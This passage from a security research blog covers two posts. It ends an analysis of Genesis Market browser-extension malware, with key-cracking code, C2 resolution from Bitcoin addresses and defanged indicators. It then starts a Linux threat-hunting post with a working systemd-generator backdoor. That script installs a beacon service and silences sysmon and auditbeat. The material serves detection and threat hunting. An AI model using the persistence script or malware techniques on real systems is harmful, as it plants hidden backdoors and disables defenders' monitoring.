    <span class="n">attempts</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">key</span><span class="p">,</span> <span class="n">potential_xor_key</span><span class="p">),</span> <span class="n">printable_count</span><span class="p">(</span><span class="n">_b</span><span class="p">)</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">_b</span><span class="p">),</span> <span class="n">alphanumeric_count</span><span class="p">(</span><span class="n">_b</span><span class="p">)))</span>
<span class="n">attempts</span><span class="p">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">],</span><span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="n">potential_decode_key</span><span class="p">,</span> <span class="n">potential_xor_key</span> <span class="o">=</span> <span class="n">attempts</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</code></pre></div></div>

<p>And with that, we hope we have retrieved the keys needed to decrypt the payload.</p>

<h4 id="some-notes-on-crypto">Some notes on crypto</h4>

<p>Using heuristics like printable count or alphanumeric count in the output works better for longer ciphertexts. If a ciphertext is too short, then it would be better to just brute force instead of getting the xor and substitution keys separately.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">xor_key</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
   <span class="k">for</span> <span class="n">sub_key</span> <span class="ow">in</span> <span class="n">permutations</span><span class="p">(</span><span class="n">_to</span><span class="p">):</span>
        <span class="n">_b</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">xor_key</span><span class="p">,</span> <span class="n">_from</span><span class="p">,</span> <span class="n">sub_key</span><span class="p">)</span>
        <span class="n">attempts</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">sub_key</span><span class="p">,</span> <span class="n">xor_key</span><span class="p">),</span> <span class="n">printable_count</span><span class="p">(</span><span class="n">_b</span><span class="p">)</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">_b</span><span class="p">),</span> <span class="n">alphanumeric_count</span><span class="p">(</span><span class="n">_b</span><span class="p">)))</span>

<span class="n">attempts</span><span class="p">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">],</span><span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="n">potential_decode_key</span><span class="p">,</span> <span class="n">potential_xor_key</span> <span class="o">=</span> <span class="n">attempts</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</code></pre></div></div>

<p>This will be slower since you’d have <code class="language-plaintext highlighter-rouge">30720</code> keys to test, but since we’re only doing this for shorter ciphertexts, then this isn’t too bad.</p>

<p>If you assume that the first few bytes of the plaintext would be Unicode BOM <code class="language-plaintext highlighter-rouge">\xef\xbb\xbf</code>, the the XOR key will be very easy to recover.</p>

<h3 id="processing-new-samples">Processing new samples</h3>

<p>To get new samples, we use the urlscan API to search for all pages with <code class="language-plaintext highlighter-rouge">.bs64</code> and get all the unique payloads and process each one. This can be done with a free urlscan account.</p>

<p>The search is  <code class="language-plaintext highlighter-rouge">page.url: *.bs64</code>. Here is a sample script to get you started with the URLSCAN API.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">jmespath</span>
<span class="kn">import</span> <span class="nn">defang</span> 

<span class="n">SEARCH_URL</span> <span class="o">=</span> <span class="s">"https://urlscan.io/api/v1/search/"</span>

<span class="n">query</span> <span class="o">=</span> <span class="s">'page.url: *.bs64'</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span>
    <span class="n">SEARCH_URL</span><span class="p">,</span>
    <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span>
    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"q"</span><span class="p">:</span> <span class="n">query</span><span class="p">,</span>
        <span class="s">"size"</span><span class="p">:</span> <span class="mi">10000</span>
    <span class="p">}</span>
<span class="p">)</span>


<span class="n">data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
<span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="s">'results'</span><span class="p">]):</span>
    <span class="n">_result</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">e</span><span class="p">[</span><span class="s">'result'</span><span class="p">],</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,).</span><span class="n">json</span><span class="p">()</span>
    <span class="nb">hash</span> <span class="o">=</span> <span class="n">jmespath</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'data.requests[0].response.hash'</span><span class="p">,</span> <span class="n">_result</span><span class="p">)</span>
    <span class="n">data</span><span class="p">.</span><span class="n">append</span><span class="p">({</span>
        <span class="s">'url'</span><span class="p">:</span> <span class="n">defang</span><span class="p">(</span><span class="n">jmespath</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'page.url'</span><span class="p">,</span> <span class="n">e</span><span class="p">)),</span>
        <span class="s">'task_time'</span><span class="p">:</span> <span class="n">jmespath</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'task.time'</span><span class="p">,</span> <span class="n">e</span><span class="p">),</span>
        <span class="s">'hash'</span><span class="p">:</span> <span class="nb">hash</span><span class="p">,</span>
        <span class="s">'size'</span><span class="p">:</span> <span class="n">jmespath</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'stats.dataLength'</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
    <span class="p">})</span>

    <span class="c1"># Free urlscan is 120 results per minute
</span>    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>

<p>At the time of writing, there were a total of <code class="language-plaintext highlighter-rouge">220</code> search results in urlscan, and a total of 26 unique payloads that we processed. These payloads were generated between <code class="language-plaintext highlighter-rouge">2023-03-06</code> and <code class="language-plaintext highlighter-rouge">2024-09-01</code>.</p>

<h4 id="deobfuscating-scripts">Deobfuscating scripts</h4>

<p>The original <code class="language-plaintext highlighter-rouge">js</code> files are obfuscated. You can use sites such as <a href="https://obf-io.deobfuscate.io/">https://obf-io.deobfuscate.io/</a> to do this manually. I used the <code class="language-plaintext highlighter-rouge">obfuscator-io-deobfuscator</code> npm package to do the deobfuscation.</p>

<p><img src="/assets/posts/20240914/08_deobf.png" alt="deobf" /></p>

<h4 id="fingerprinting-extensions-and-analyzing">Fingerprinting extensions and analyzing</h4>

<p>I’m not really familiar with analyzing chrome extensions so analysis of the extensions won’t be deep, but the technical deep dives I’ve linked previously are very good.</p>

<p>What I focused on is if there are changes with the functionality of the extension over time. Simple hashing won’t help in this case because even the deobfuscated <code class="language-plaintext highlighter-rouge">js</code> code has variable names randomized.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>const _0x56b2ef = await fetch(_0x5bfae7 + "/machine/init", {
      'method': "POST",
      'headers': {
        'Accept': "application/json, application/xml, text/plain, text/html, *.*",
        'Content-Type': "application/json"
      },
      'body': JSON.stringify(_0x22a72c)
    });
</code></pre></div></div>

<p>The approach I ended up taking was looking at the exported functions of each <code class="language-plaintext highlighter-rouge">js</code> since these are in plaintext and doesn’t seem to be randomized (unlike local variables).</p>

<p>For example, <code class="language-plaintext highlighter-rouge">grep -nri "export const" .</code>  returns:</p>

<p><img src="/assets/posts/20240914/09_export_const.png" alt="export const" /></p>

<p>Findings for this is that the following functions were added over time:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">2023-09-14</code>: Add <code class="language-plaintext highlighter-rouge">getClipperData</code> function</li>
  <li><code class="language-plaintext highlighter-rouge">2024-06-23</code>: Add <code class="language-plaintext highlighter-rouge">createZip</code>, <code class="language-plaintext highlighter-rouge">getFromStorage</code>, <code class="language-plaintext highlighter-rouge">modifyListUsers</code>, <code class="language-plaintext highlighter-rouge">sendZipToServer</code>, <code class="language-plaintext highlighter-rouge">transformZipData</code>, <code class="language-plaintext highlighter-rouge">traverseDirectories</code>, <code class="language-plaintext highlighter-rouge">getData</code>, etc</li>
</ul>

<p>We can see that over time, they added fallback APIs to resolve the C2 domains. In the earliest versions of the extension we see only one method to resolve the domain.</p>

<p><img src="/assets/posts/20240914/10_old_blockinfo.png" alt="old" /></p>

<p>In the most recent extension, we have 8 functions: <code class="language-plaintext highlighter-rouge">GetAddresses_Blockstream</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Blockcypher</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Bitcoinexplorer</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Btcme</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Mempool</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Btcscan</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Bitcore</code>, <code class="language-plaintext highlighter-rouge">GetAddresses_Blockchaininfo</code>.</p>

<p><img src="/assets/posts/20240914/11_new_domain_resolver.png" alt="old" /></p>

<p><a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/new-rilide-stealer-version-targets-banking-data-and-works-around-google-chrome-manifest-v3/">Trustwave’s blog post</a> mentioned that there was capabilities to use a telegram channel to exfiltrate data. In the extensions I have looked at, I see <code class="language-plaintext highlighter-rouge">botToken</code> and <code class="language-plaintext highlighter-rouge">chatId</code> in the <code class="language-plaintext highlighter-rouge">config.js</code> but I have not seen any code that actually uses this.</p>

<h4 id="resolving-c2-domains-from-blockchain">Resolving C2 domains from blockchain</h4>

<p>The domains used for C2 are resolved from transactions in the blockchain. This is similar to more <a href="https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16">EtherHiding</a> but here, rather than using smart contracts, they use the destination address to encode the domain. I just translated one of the many functions in the extension to resolve the script and used <a href="https://pypi.org/project/base58/">base58</a> to decrypt the domain.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">blockstream</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"https://blockstream.info/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s">/txs"</span><span class="p">)</span>\
    <span class="p">.</span><span class="n">json</span><span class="p">()</span>
<span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="n">jmespath</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'[].vout[].scriptpubkey_address'</span><span class="p">,</span> <span class="n">blockstream</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">domain</span> <span class="o">=</span> <span class="n">base58</span><span class="p">.</span><span class="n">b58decode</span><span class="p">(</span><span class="n">e</span><span class="p">)[</span><span class="mi">1</span><span class="p">:</span><span class="mi">21</span><span class="p">]</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">domain</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">):</span>
            <span class="k">continue</span>
        <span class="n">domain</span> <span class="o">=</span> <span class="n">domain</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="n">domain</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">pass</span>
</code></pre></div></div>

<p>This resulted in the following resolved domains.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Adddress</th>
      <th>Domains</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">bc1q4fkjqusxsgqzylcagra800cxljal82k6y3ejay</td>
      <td><code class="language-plaintext highlighter-rouge">gzipdot[.]com</code></td>
    </tr>
    <tr>
      <td style="text-align: left">bc1qvmvz53hdauzxuhs7dkm775tlqtd9vpk8ux7mqj</td>
      <td><code class="language-plaintext highlighter-rouge">dot4net[.]com</code></td>
    </tr>
    <tr>
      <td style="text-align: left">bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu</td>
      <td><code class="language-plaintext highlighter-rouge">catin-box[.]com</code>, <code class="language-plaintext highlighter-rouge">you-rabbit[.]com</code></td>
    </tr>
    <tr>
      <td style="text-align: left">bc1qvkvzfla6wrem2uf4ejkuja8yp3c6f3xf72kyc9</td>
      <td><code class="language-plaintext highlighter-rouge">true-lie[.]com</code>, <code class="language-plaintext highlighter-rouge">true-bottom[.]com</code></td>
    </tr>
    <tr>
      <td style="text-align: left">bc1qnxwt7sr3rqatd6efjyym3nsgxhslyzeqndhjpn</td>
      <td><code class="language-plaintext highlighter-rouge">x504x[.]com</code>, <code class="language-plaintext highlighter-rouge">size-infinity[.]com</code>, <code class="language-plaintext highlighter-rouge">dark-confusion[.]com</code></td>
    </tr>
  </tbody>
</table>

<p>Among these domains, only 4 of them seem to be active. If we hit the <code class="language-plaintext highlighter-rouge">/api/machine/injections</code> endpoint, the server responds to the request. The following looks to be active:</p>
<ul>
  <li><a href="https://urlscan.io/result/5c021abb-0036-4479-8f81-af836caa2586/">gzipdot[.]com</a></li>
  <li><a href="https://urlscan.io/result/e304b728-1b92-4a9f-b861-5c8267270b66/">dot4net[.]com</a></li>
  <li><a href="https://urlscan.io/result/97c14988-3a6a-44d5-a879-f33655f0f331/">catin-box[.]com</a></li>
  <li><a href="https://urlscan.io/result/bf281422-ed2d-48ee-83b5-62e2a2723d85/">true-lie[.]com</a></li>
</ul>

<p><img src="/assets/posts/20240914/13_injection_test.png" alt="13_injection_test.png" /></p>

<p>And only <code class="language-plaintext highlighter-rouge">true-lie[.]com</code> is flagged as malicious by VT. The other domains aren’t flagged as malicious by VT, even domains like <code class="language-plaintext highlighter-rouge">catin-box[.]com</code> which is a pretty old domain.</p>

<p><img src="/assets/posts/20240914/14_ioc_fn.png" alt="14_ioc_fn.png" /></p>

<h3 id="conclusion">Conclusion</h3>

<p>It’s obvious that this approach will stop working if the encryption algorithm is changed by the authors of the malware (or even simpler, the attacker can just <em>not</em> suffix the dropper powershell script with <code class="language-plaintext highlighter-rouge">.bs64</code>). However, given that we have found samples that span a year, shows that the usage of some of techniques persist for quite some time.</p>

<p>If you are a student, or an aspiring security professional, I hope this demonstrates that there can be legitimate research or learnings just from using free tools and published information to study malware that has active infrastructure. Although if you are just starting out with security, I advise you to be cautious when handling the bad stuff.</p>

<h3 id="iocs">IOCs</h3>

<p>I’ve grouped IOCs based on what address it uses to resolve the C2 domains. There are some domains that repeat like <code class="language-plaintext highlighter-rouge">root-head[.]com</code>, <code class="language-plaintext highlighter-rouge">root[.]com</code>, and  <code class="language-plaintext highlighter-rouge">opensun[.]monster</code>  which means that the domain served versions of the malicious browser extension with different addresses.</p>

<p><strong>bc1q4fkjqusxsgqzylcagra800cxljal82k6y3ejay</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root-head[.]com

gzipdot[.]com
</code></pre></div></div>

<p><strong>bc1qvmvz53hdauzxuhs7dkm775tlqtd9vpk8ux7mqj</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root-head[.]com
two-root[.]com

dot4net[.]com
</code></pre></div></div>

<p><strong>bc1qvkvzfla6wrem2uf4ejkuja8yp3c6f3xf72kyc9</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>opensun[.]monster
gotry-gotry[.]com
two-root[.]com

true-lie[.]com
true-bottom[.]com
</code></pre></div></div>

<p><strong>bc1qnxwt7sr3rqatd6efjyym3nsgxhslyzeqndhjpn</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>opensun[.]monster
good2-led[.]com
wryrwhte[.]monster

x504x[.]com
size-infinity[.]com
dark-confusion[.]com
</code></pre></div></div>

<p><strong>bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps1-local[.]com
ps2-call[.]com
ff-rrttj[.]com
tchk-1[.]com

catin-box[.]com
you-rabbit[.]com
</code></pre></div></div>

<h3 id="resources-that-reference-some-of-these-iocs">Resources that reference some of these IOCs</h3>
<ul>
  <li><a href="https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html">https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html</a></li>
  <li><a href="https://www.zscaler.com/blogs/security-research/black-hat-seo-leveraged-distribute-malware">https://www.zscaler.com/blogs/security-research/black-hat-seo-leveraged-distribute-malware</a></li>
  <li><a href="https://www.akat-t.com/wp-content/uploads/2024_05_01_Threat_Alert_Malicious_Extension_Targets_Chromium_Based_Web_Browsers_Steals_Data.pdf">Symantec: Malicious Extension Targets Chromium-Based Web Browsers, Steals
Data</a></li>
  <li><a href="https://tria.ge/240618-p92adavbmf">https://tria.ge/240618-p92adavbmf</a></li>
  <li><a href="https://any.run/malware-trends/lu0bot">https://any.run/malware-trends/lu0bot</a></li>
  <li><a href="https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/">https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/</a></li>
  <li><a href="https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading">https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading</a></li>
</ul>]]></content><author><name>Pepe Berba</name></author><category term="crypto" /><summary type="html"><![CDATA[Cracking the simple encryption scheme used by Genesis Market to hunt for malicious browser extensions]]></summary></entry><entry><title type="html">Hunting for Persistence in Linux (Part 5): Systemd Generators</title><link href="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/" rel="alternate" type="text/html" title="Hunting for Persistence in Linux (Part 5): Systemd Generators" /><published>2022-02-07T00:00:00+00:00</published><updated>2022-02-07T00:00:00+00:00</updated><id>https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators</id><content type="html" xml:base="https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"><![CDATA[<h3 id="introduction">Introduction</h3>

<p>In this blogpost, we’re discussing a specific persistence technique that I haven’t read anywhere else. Because of this, it seemed appropriate for it to have its own post.</p>

<p>The topics discussed here are the following:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: systemd-generators</a></li>
</ul>

<p>We will give some example commands on how to implement these persistence techniques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.</p>

<p><img src="/assets/posts/20220207/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>

<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>

<p>Linux Persistence Series:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="12-boot-or-logon-initialization-scripts-systemd-generators">12 Boot or Logon Initialization Scripts: systemd-generators</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>

<p>There is no dedicated sub technique for this in MITRE ATT&amp;CK matrix. This is just something I stumbled upon while going through the <code class="language-plaintext highlighter-rouge">systemd</code> documentation and when researching about <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts in the previous blogpost.</p>

<h4 id="121-what-are-systemd-generators">12.1 What are systemd-generators?</h4>

<p>Looking at the debian man pages for <a href="https://manpages.debian.org/testing/systemd/systemd.generator.7.en.html">systemd.generator</a>.</p>

<blockquote>
  <p>Generators are small executables placed in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/</code> and other directories listed [below]. <code class="language-plaintext highlighter-rouge">systemd(1)</code> will execute these binaries very early at bootup and at configuration reload time — before unit files are loaded.</p>
</blockquote>

<p>The directories can be found in the man page but here are some persistent ones:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/user-generators/*</code></li>
</ul>

<p>One use case for this is backwards compatibility. For example, <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> and <code class="language-plaintext highlighter-rouge">systemd-sysv-generator</code> are both used to process <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts respectively. These executables convert the traditional startup scripts into <code class="language-plaintext highlighter-rouge">systemd</code> services by parsing them and creating wrapper <code class="language-plaintext highlighter-rouge">service</code> unit files on boot. It is a preprocessing step for <code class="language-plaintext highlighter-rouge">systemd</code> before it runs any services.</p>

<p>Other modules can also drop their own executable in one the listed locations and this will also be executed on boot or anytime the systemd configuration is reloaded. For example, installing <code class="language-plaintext highlighter-rouge">openvpn</code> results in a <code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system-generators/openvpn-generator</code></p>

<p>This is an interesting place to add a backdoor because systemd generators are executed very early in the boot process. In fact, this is the earliest place I’ve found to get an executable to run without going to the kernel or installing a rootkit. The generator executables are run before any service is started! So when defenders use loggers and sensors services such as <code class="language-plaintext highlighter-rouge">syslog</code>, <code class="language-plaintext highlighter-rouge">auditd</code>, <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditbeat</code> to monitor a machine, they won’t be running to catch actions done by the generators. Moreover, a malicious generator might be able to tamper with the service unit files before they can run.</p>

<p>But there are constraints on this. The man page gives this note:</p>

<blockquote>
  <p>Generators are run very early at boot and cannot rely on any external services. They may not talk to any other process. That includes simple things such as logging to <code class="language-plaintext highlighter-rouge">syslog(3)</code>, or <code class="language-plaintext highlighter-rouge">systemd</code> itself (this means: no systemctl(1))! Non-essential file systems like /var/ and /home/ are mounted after generators have run. Generators can however rely on the most basic kernel functionality to be available, as well as mounted <code class="language-plaintext highlighter-rouge">/sys/</code>, <code class="language-plaintext highlighter-rouge">/proc/</code>, <code class="language-plaintext highlighter-rouge">/dev/</code>, <code class="language-plaintext highlighter-rouge">/usr/</code> and <code class="language-plaintext highlighter-rouge">/run/</code> file systems.</p>
</blockquote>

<h4 id="122-creating-a-malicious-generator">12.2 Creating a malicious generator</h4>

<p>Our objective:</p>
<ul>
  <li>Create a malicious service that will run</li>
  <li>Disable <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code></li>
</ul>

<p>We assume that some script <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> already exists. You can replace <code class="language-plaintext highlighter-rouge">ExecStart</code> with a different path or even add the reverse shell directly.</p>

<p>We drop a simple executable script in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/systemd-network-generator</code> . When it runs, it will:</p>
<ul>
  <li>Create a <code class="language-plaintext highlighter-rouge">/run/systemd/system/networking.service</code> unit file</li>
  <li>Create a symlink to <code class="language-plaintext highlighter-rouge">/run/systemd/system/multi-user.target.wants/networking.service</code> to enable the service</li>
  <li>Create a <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> that will overwrite the configuration of the original services.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /usr/lib/systemd/system-generators/systemd-network-generator <span class="o">&lt;&lt;</span> <span class="no">EOF</span><span class="sh">
#! /bin/bash

# Create networking.service and enabling it to run later in the boot process
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/system/networking.service

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service


# Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service
mkdir -p /run/systemd/generator.early
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/generator.early/sysmon.service
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d &gt; /run/systemd/generator.early/auditbeat.service
</span><span class="no">EOF

</span><span class="nb">chmod</span> +x /lib/systemd/system-generators/systemd-network-generator
</code></pre></div></div>

<p>You might wonder: <em>“Why do we need to make a service unit file? Why don’t we run the <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> in the background directly?”</em></p>

<p>Well, this is the recommended way that systemd generators operate. For example, network functionality might not be ready when the generators are executed. So it is simpler to generate service file instead and set <code class="language-plaintext highlighter-rouge">network.target</code> as a dependency. However, it is possible to create a long running background process on boot; it either waits or retries until the necessary OS functionality becomes available.</p>

<p>The generated service file is very simple. If you want more info about this read the <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#52-installing-a-malicious-service">previous blogpost - 5.2.2 Minimal service file
</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=networking.service

[Service]
ExecStart=/opt/beacon.sh

[Install]
WantedBy=multi-user.target
</code></pre></div></div>

<p>On the next reboot a <code class="language-plaintext highlighter-rouge">networking.service</code> service would be running</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status networking
● networking.service
   Loaded: loaded <span class="o">(</span>/run/systemd/system/networking.service<span class="p">;</span> enabled<span class="p">;</span> vendor preset: enabled<span class="o">)</span>
